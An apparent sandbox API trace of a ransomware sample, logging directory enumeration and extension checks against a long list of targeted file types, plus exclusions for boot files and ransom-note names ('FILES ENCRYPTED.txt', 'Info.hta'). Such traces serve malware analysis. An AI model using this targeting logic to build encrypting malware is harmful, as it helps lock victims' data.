lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa79bb5f0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e396633, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-CH", cAlternateFileName="")) returned 1 [0182.830] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-CH") returned 100 [0182.830] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-CH") returned 1 [0182.830] lstrlenW (lpString="de-CH") returned 5 [0182.830] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="de-CH") returned -1 [0182.830] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0182.830] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-CH") returned 100 [0182.830] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-CH\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa79bb5f0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e396633, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0183.023] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa79bb5f0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e396633, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0183.023] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e396633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9c9b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0183.023] lstrlenW (lpString="index.html") returned 10 [0183.023] lstrlenW (lpString=".1cd") returned 4 [0183.023] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0183.023] lstrlenW (lpString=".3ds") returned 4 [0183.023] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1 [0183.023] lstrlenW (lpString=".3fr") returned 4 [0183.023] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1 [0183.023] lstrlenW (lpString=".3g2") returned 4 [0183.023] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1 [0183.023] lstrlenW (lpString=".3gp") returned 4 [0183.023] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1 [0183.023] lstrlenW (lpString=".7z") returned 3 [0183.023] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0183.023] lstrlenW (lpString=".accda") returned 6 [0183.023] lstrcmpiW (lpString1=".accda", lpString2="x.html") returned -1 [0183.023] lstrlenW (lpString=".accdb") returned 6 [0183.023] lstrcmpiW (lpString1=".accdb", lpString2="x.html") returned -1 [0183.023] lstrlenW (lpString=".accdc") returned 6 [0183.023] lstrcmpiW (lpString1=".accdc", lpString2="x.html") returned -1 [0183.023] lstrlenW (lpString=".accde") returned 6 [0183.024] lstrcmpiW (lpString1=".accde", lpString2="x.html") returned -1 [0183.024] lstrlenW (lpString=".accdt") returned 6 [0183.024] lstrcmpiW (lpString1=".accdt", lpString2="x.html") returned -1 [0183.024] lstrlenW (lpString=".accdw") returned 6 [0183.024] lstrcmpiW (lpString1=".accdw", lpString2="x.html") returned -1 [0183.024] lstrlenW (lpString=".adb") returned 4 [0183.024] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1 [0183.024] lstrlenW (lpString=".adp") returned 4 [0183.024] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1 [0183.024] lstrlenW (lpString=".ai") returned 3 [0183.024] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1 [0183.024] lstrlenW (lpString=".ai3") returned 4 [0183.024] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1 [0183.024] lstrlenW (lpString=".ai4") returned 4 [0183.024] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1 [0183.024] lstrlenW (lpString=".ai5") returned 4 [0183.024] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1 [0183.024] lstrlenW (lpString=".ai6") returned 4 [0183.024] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1 [0183.024] lstrlenW (lpString=".ai7") returned 4 [0183.024] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1 [0183.024] lstrlenW (lpString=".ai8") returned 4 [0183.024] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1 [0183.024] lstrlenW (lpString=".anim") returned 5 [0183.024] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1 [0183.024] lstrlenW (lpString=".arw") returned 4 [0183.024] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1 [0183.024] lstrlenW (lpString=".as") returned 3 [0183.024] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1 [0183.024] lstrlenW (lpString=".asa") returned 4 [0183.025] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1 [0183.025] lstrlenW (lpString=".asc") returned 4 [0183.025] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1 [0183.025] lstrlenW (lpString=".ascx") returned 5 [0183.025] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1 [0183.025] lstrlenW (lpString=".asm") returned 4 [0183.025] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1 [0183.025] lstrlenW (lpString=".asmx") returned 5 [0183.025] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1 [0183.025] lstrlenW (lpString=".asp") returned 4 [0183.025] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1 [0183.025] lstrlenW (lpString=".aspx") returned 5 [0183.025] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1 [0183.025] lstrlenW (lpString=".asr") returned 4 [0183.025] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1 [0183.025] lstrlenW (lpString=".asx") returned 4 [0183.025] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1 [0183.025] lstrlenW (lpString=".avi") returned 4 [0183.025] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1 [0183.025] lstrlenW (lpString=".avs") returned 4 [0183.025] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1 [0183.025] lstrlenW (lpString=".backup") returned 7 [0183.025] lstrcmpiW (lpString1=".backup", lpString2="ex.html") returned -1 [0183.025] lstrlenW (lpString=".bak") returned 4 [0183.025] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1 [0183.025] lstrlenW (lpString=".bay") returned 4 [0183.025] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1 [0183.025] lstrlenW (lpString=".bd") returned 3 [0183.025] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1 [0183.025] lstrlenW (lpString=".bin") returned 4 [0183.025] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1 [0183.026] lstrlenW (lpString=".bmp") returned 4 [0183.026] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1 [0183.026] lstrlenW (lpString=".bz2") returned 4 [0183.026] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0183.026] lstrlenW (lpString=".c") returned 2 [0183.026] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0183.026] lstrlenW (lpString=".cdr") returned 4 [0183.026] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1 [0183.026] lstrlenW (lpString=".cer") returned 4 [0183.026] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1 [0183.026] lstrlenW (lpString=".cf") returned 3 [0183.026] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1 [0183.026] lstrlenW (lpString=".cfc") returned 4 [0183.026] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1 [0183.026] lstrlenW (lpString=".cfm") returned 4 [0183.026] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1 [0183.026] lstrlenW (lpString=".cfml") returned 5 [0183.026] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1 [0183.026] lstrlenW (lpString=".cfu") returned 4 [0183.026] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1 [0183.026] lstrlenW (lpString=".chm") returned 4 [0183.026] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1 [0183.026] lstrlenW (lpString=".cin") returned 4 [0183.026] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1 [0183.026] lstrlenW (lpString=".class") returned 6 [0183.026] lstrcmpiW (lpString1=".class", lpString2="x.html") returned -1 [0183.026] lstrlenW (lpString=".clx") returned 4 [0183.026] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1 [0183.026] lstrlenW (lpString=".config") returned 7 [0183.027] lstrcmpiW (lpString1=".config", lpString2="ex.html") returned -1 [0183.027] lstrlenW (lpString=".cpp") returned 4 [0183.027] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1 [0183.027] lstrlenW (lpString=".cr2") returned 4 [0183.027] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1 [0183.027] lstrlenW (lpString=".crt") returned 4 [0183.027] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1 [0183.027] lstrlenW (lpString=".crw") returned 4 [0183.027] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1 [0183.027] lstrlenW (lpString=".cs") returned 3 [0183.027] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1 [0183.027] lstrlenW (lpString=".css") returned 4 [0183.027] lstrcmpiW (lpString1=".css", lpString2="html") returned -1 [0183.027] lstrlenW (lpString=".csv") returned 4 [0183.027] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1 [0183.027] lstrlenW (lpString=".cub") returned 4 [0183.027] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1 [0183.027] lstrlenW (lpString=".dae") returned 4 [0183.027] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1 [0183.027] lstrlenW (lpString=".dat") returned 4 [0183.027] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1 [0183.027] lstrlenW (lpString=".db") returned 3 [0183.027] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1 [0183.027] lstrlenW (lpString=".dbf") returned 4 [0183.027] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0183.027] lstrlenW (lpString=".dbx") returned 4 [0183.027] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1 [0183.027] lstrlenW (lpString=".dc3") returned 4 [0183.027] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1 [0183.027] lstrlenW (lpString=".dcm") returned 4 [0183.027] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1 [0183.027] lstrlenW (lpString=".dcr") returned 4 [0183.027] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1 [0183.028] lstrlenW (lpString=".der") returned 4 [0183.028] lstrcmpiW (lpString1=".der", lpString2="html") returned -1 [0183.028] lstrlenW (lpString=".dib") returned 4 [0183.028] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1 [0183.028] lstrlenW (lpString=".dic") returned 4 [0183.028] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1 [0183.028] lstrlenW (lpString=".dif") returned 4 [0183.028] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1 [0183.028] lstrlenW (lpString=".divx") returned 5 [0183.028] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1 [0183.028] lstrlenW (lpString=".djvu") returned 5 [0183.028] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1 [0183.028] lstrlenW (lpString=".dng") returned 4 [0183.028] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1 [0183.028] lstrlenW (lpString=".doc") returned 4 [0183.028] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0183.028] lstrlenW (lpString=".docm") returned 5 [0183.028] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1 [0183.028] lstrlenW (lpString=".docx") returned 5 [0183.028] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0183.028] lstrlenW (lpString=".dot") returned 4 [0183.028] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1 [0183.028] lstrlenW (lpString=".dotm") returned 5 [0183.028] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1 [0183.028] lstrlenW (lpString=".dotx") returned 5 [0183.028] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1 [0183.028] lstrlenW (lpString=".dpx") returned 4 [0183.028] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1 [0183.028] lstrlenW (lpString=".dqy") returned 4 [0183.028] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1 [0183.028] lstrlenW (lpString=".dsn") returned 4 [0183.029] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1 [0183.029] lstrlenW (lpString=".dt") returned 3 [0183.029] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1 [0183.029] lstrlenW (lpString=".dtd") returned 4 [0183.029] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1 [0183.029] lstrlenW (lpString=".dwg") returned 4 [0183.029] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1 [0183.029] lstrlenW (lpString=".dwt") returned 4 [0183.029] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1 [0183.029] lstrlenW (lpString=".dx") returned 3 [0183.029] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1 [0183.029] lstrlenW (lpString=".dxf") returned 4 [0183.029] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1 [0183.029] lstrlenW (lpString=".edml") returned 5 [0183.029] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1 [0183.029] lstrlenW (lpString=".efd") returned 4 [0183.029] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1 [0183.029] lstrlenW (lpString=".elf") returned 4 [0183.029] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1 [0183.029] lstrlenW (lpString=".emf") returned 4 [0183.029] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1 [0183.029] lstrlenW (lpString=".emz") returned 4 [0183.029] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1 [0183.029] lstrlenW (lpString=".epf") returned 4 [0183.029] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1 [0183.029] lstrlenW (lpString=".eps") returned 4 [0183.029] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1 [0183.029] lstrlenW (lpString=".epsf") returned 5 [0183.029] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1 [0183.029] lstrlenW (lpString=".epsp") returned 5 [0183.029] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1 [0183.030] lstrlenW (lpString=".erf") returned 4 [0183.030] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1 [0183.030] lstrlenW (lpString=".exr") returned 4 [0183.030] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1 [0183.030] lstrlenW (lpString=".f4v") returned 4 [0183.030] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1 [0183.030] lstrlenW (lpString=".fido") returned 5 [0183.030] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1 [0183.030] lstrlenW (lpString=".flm") returned 4 [0183.030] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1 [0183.030] lstrlenW (lpString=".flv") returned 4 [0183.030] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1 [0183.030] lstrlenW (lpString=".frm") returned 4 [0183.030] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1 [0183.030] lstrlenW (lpString=".fxg") returned 4 [0183.030] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1 [0183.030] lstrlenW (lpString=".geo") returned 4 [0183.030] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1 [0183.030] lstrlenW (lpString=".gif") returned 4 [0183.030] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1 [0183.030] lstrlenW (lpString=".grs") returned 4 [0183.030] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1 [0183.030] lstrlenW (lpString=".gz") returned 3 [0183.030] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1 [0183.030] lstrlenW (lpString=".h") returned 2 [0183.030] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0183.030] lstrlenW (lpString=".hdr") returned 4 [0183.030] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1 [0183.030] lstrlenW (lpString=".hpp") returned 4 [0183.030] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1 [0183.030] lstrlenW (lpString=".hta") returned 4 [0183.030] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1 [0183.031] lstrlenW (lpString=".htc") returned 4 [0183.031] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1 [0183.031] lstrlenW (lpString=".htm") returned 4 [0183.031] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1 [0183.031] lstrlenW (lpString=".html") returned 5 [0183.031] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0 [0183.031] lstrlenW (lpString="index.html") returned 10 [0183.031] lstrlenW (lpString=".NEWS") returned 5 [0183.031] lstrcmpiW (lpString1=".NEWS", lpString2=".html") returned 1 [0183.031] lstrlenW (lpString="index.html") returned 10 [0183.031] lstrcmpiW (lpString1="boot.ini", lpString2="index.html") returned -1 [0183.031] lstrcmpiW (lpString1="bootfont.bin", lpString2="index.html") returned -1 [0183.031] lstrcmpiW (lpString1="ntldr", lpString2="index.html") returned 1 [0183.031] lstrcmpiW (lpString1="ntdetect.com", lpString2="index.html") returned 1 [0183.031] lstrcmpiW (lpString1="io.sys", lpString2="index.html") returned 1 [0183.031] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="index.html") returned -1 [0183.031] lstrcmpiW (lpString1="Info.hta", lpString2="index.html") returned 1 [0183.031] lstrcmpiW (lpString1="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe", lpString2="index.html") returned -1 [0183.031] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-CH\\index.html") returned 111 [0183.031] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e396633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3b8f4c00, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0183.031] lstrlenW (lpString="toastbeginupgrade.xml") returned 21 [0183.031] lstrlenW (lpString=".1cd") returned 4 [0183.031] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0183.031] lstrlenW (lpString=".3ds") returned 4 [0183.031] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1 [0183.031] lstrlenW (lpString=".3fr") returned 4 [0183.031] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1 [0183.031] lstrlenW (lpString=".3g2") returned 4 [0183.031] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1 [0183.031] lstrlenW (lpString=".3gp") returned 4 [0183.031] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1 [0183.032] lstrlenW (lpString=".7z") returned 3 [0183.032] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0183.032] lstrlenW (lpString=".accda") returned 6 [0183.032] lstrcmpiW (lpString1=".accda", lpString2="de.xml") returned -1 [0183.032] lstrlenW (lpString=".accdb") returned 6 [0183.032] lstrcmpiW (lpString1=".accdb", lpString2="de.xml") returned -1 [0183.032] lstrlenW (lpString=".accdc") returned 6 [0183.032] lstrcmpiW (lpString1=".accdc", lpString2="de.xml") returned -1 [0183.032] lstrlenW (lpString=".accde") returned 6 [0183.032] lstrcmpiW (lpString1=".accde", lpString2="de.xml") returned -1 [0183.032] lstrlenW (lpString=".accdt") returned 6 [0183.032] lstrcmpiW (lpString1=".accdt", lpString2="de.xml") returned -1 [0183.032] lstrlenW (lpString=".accdw") returned 6 [0183.032] lstrcmpiW (lpString1=".accdw", lpString2="de.xml") returned -1 [0183.032] lstrlenW (lpString=".adb") returned 4 [0183.032] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1 [0183.032] lstrlenW (lpString=".adp") returned 4 [0183.032] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1 [0183.032] lstrlenW (lpString=".ai") returned 3 [0183.032] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1 [0183.032] lstrlenW (lpString=".ai3") returned 4 [0183.032] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1 [0183.032] lstrlenW (lpString=".ai4") returned 4 [0183.032] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1 [0183.032] lstrlenW (lpString=".ai5") returned 4 [0183.032] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1 [0183.032] lstrlenW (lpString=".ai6") returned 4 [0183.032] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1 [0183.032] lstrlenW (lpString=".ai7") returned 4 [0183.032] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1 [0183.032] lstrlenW (lpString=".ai8") returned 4 [0183.032] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1 [0183.033] lstrlenW (lpString=".anim") returned 5 [0183.033] lstrcmpiW (lpString1=".anim", lpString2="e.xml") returned -1 [0183.033] lstrlenW (lpString=".arw") returned 4 [0183.033] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1 [0183.033] lstrlenW (lpString=".as") returned 3 [0183.033] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1 [0183.033] lstrlenW (lpString=".asa") returned 4 [0183.033] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1 [0183.033] lstrlenW (lpString=".asc") returned 4 [0183.033] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1 [0183.034] lstrlenW (lpString=".ascx") returned 5 [0183.034] lstrcmpiW (lpString1=".ascx", lpString2="e.xml") returned -1 [0183.034] lstrlenW (lpString=".asm") returned 4 [0183.034] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1 [0183.034] lstrlenW (lpString=".asmx") returned 5 [0183.034] lstrcmpiW (lpString1=".asmx", lpString2="e.xml") returned -1 [0183.034] lstrlenW (lpString=".asp") returned 4 [0183.034] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1 [0183.034] lstrlenW (lpString=".aspx") returned 5 [0183.034] lstrcmpiW (lpString1=".aspx", lpString2="e.xml") returned -1 [0183.034] lstrlenW (lpString=".asr") returned 4 [0183.034] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1 [0183.034] lstrlenW (lpString=".asx") returned 4 [0183.034] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1 [0183.034] lstrlenW (lpString=".avi") returned 4 [0183.034] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1 [0183.034] lstrlenW (lpString=".avs") returned 4 [0183.034] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1 [0183.034] lstrlenW (lpString=".backup") returned 7 [0183.034] lstrcmpiW (lpString1=".backup", lpString2="ade.xml") returned -1 [0183.034] lstrlenW (lpString=".bak") returned 4 [0183.034] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1 [0183.034] lstrlenW (lpString=".bay") returned 4 [0183.034] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1 [0183.035] lstrlenW (lpString=".bd") returned 3 [0183.035] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1 [0183.035] lstrlenW (lpString=".bin") returned 4 [0183.035] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1 [0183.035] lstrlenW (lpString=".bmp") returned 4 [0183.035] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1 [0183.035] lstrlenW (lpString=".bz2") returned 4 [0183.035] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0183.035] lstrlenW (lpString=".c") returned 2 [0183.035] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0183.035] lstrlenW (lpString=".cdr") returned 4 [0183.035] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1 [0183.035] lstrlenW (lpString=".cer") returned 4 [0183.035] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1 [0183.035] lstrlenW (lpString=".cf") returned 3 [0183.035] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1 [0183.035] lstrlenW (lpString=".cfc") returned 4 [0183.035] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1 [0183.035] lstrlenW (lpString=".cfm") returned 4 [0183.035] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1 [0183.035] lstrlenW (lpString=".cfml") returned 5 [0183.035] lstrcmpiW (lpString1=".cfml", lpString2="e.xml") returned -1 [0183.035] lstrlenW (lpString=".cfu") returned 4 [0183.035] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1 [0183.035] lstrlenW (lpString=".chm") returned 4 [0183.035] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1 [0183.035] lstrlenW (lpString=".cin") returned 4 [0183.035] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1 [0183.035] lstrlenW (lpString=".class") returned 6 [0183.035] lstrcmpiW (lpString1=".class", lpString2="de.xml") returned -1 [0183.035] lstrlenW (lpString=".clx") returned 4 [0183.035] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1 [0183.035] lstrlenW (lpString=".config") returned 7 [0183.036] lstrcmpiW (lpString1=".config", lpString2="ade.xml") returned -1 [0183.036] lstrlenW (lpString=".cpp") returned 4 [0183.036] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1 [0183.036] lstrlenW (lpString=".cr2") returned 4 [0183.036] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1 [0183.036] lstrlenW (lpString=".crt") returned 4 [0183.036] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1 [0183.036] lstrlenW (lpString=".crw") returned 4 [0183.036] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1 [0183.036] lstrlenW (lpString=".cs") returned 3 [0183.036] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1 [0183.036] lstrlenW (lpString=".css") returned 4 [0183.036] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1 [0183.036] lstrlenW (lpString=".csv") returned 4 [0183.036] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1 [0183.036] lstrlenW (lpString=".cub") returned 4 [0183.036] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1 [0183.036] lstrlenW (lpString=".dae") returned 4 [0183.036] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1 [0183.036] lstrlenW (lpString=".dat") returned 4 [0183.036] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1 [0183.036] lstrlenW (lpString=".db") returned 3 [0183.036] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1 [0183.036] lstrlenW (lpString=".dbf") returned 4 [0183.036] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0183.036] lstrlenW (lpString=".dbx") returned 4 [0183.036] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1 [0183.036] lstrlenW (lpString=".dc3") returned 4 [0183.036] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1 [0183.037] lstrlenW (lpString=".dcm") returned 4 [0183.037] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1 [0183.037] lstrlenW (lpString=".dcr") returned 4 [0183.037] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1 [0183.037] lstrlenW (lpString=".der") returned 4 [0183.037] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1 [0183.037] lstrlenW (lpString=".dib") returned 4 [0183.037] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1 